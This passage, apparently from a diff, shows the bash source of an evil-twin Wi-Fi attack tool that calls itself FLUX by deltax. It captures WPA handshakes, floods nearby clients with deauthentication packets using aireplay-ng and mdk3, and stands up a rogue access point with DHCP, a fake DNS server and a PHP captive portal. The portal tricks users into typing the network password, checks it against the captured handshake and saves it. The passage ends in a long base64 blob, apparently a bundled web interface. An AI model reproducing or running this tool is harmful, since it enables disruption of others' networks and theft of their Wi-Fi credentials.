aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green }MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "Archivo ${red}NO$transparent existe" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$green "1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$green "2)"$transparent" pyrit" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$green "1)"$transparent" Deauth all" - echo -e " "$green "2)"$transparent" Deauth all [mdk3]" - echo -e " "$green "3)"$transparent" Deauth target " - echo -e " "$green "4)"$transparent" Rescan networks " - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$green "1)"$transparent" Yes" - echo -e " "$green "2)"$transparent" Strike again " - echo -e " "$green "3)"$transparent" No (Select another attack)" - echo -e " "$green "4)"$transparent" Select another network" - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$green ""1)"$transparent" Web Interface" - echo -e "$green ""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$green ""1)"$transparent" English [ENG]" - echo -e "$green ""2)"$transparent" Spanish [ESP]" - echo -e "$green ""3)"$transparent" Italy [IT]" - echo -e "$green ""4)"$transparent" French [FR]" - echo -e "$green ""5)"$transparent" Portuguese [POR]" - echo -e "$green ""6)"$transparent" German [GER]" - echo -e "$green ""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" PUNTO DE ACCESO:\" - echo -e \" Number..........: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Brand...........: "$green "$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time...: "$grey"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clientes........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTES ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 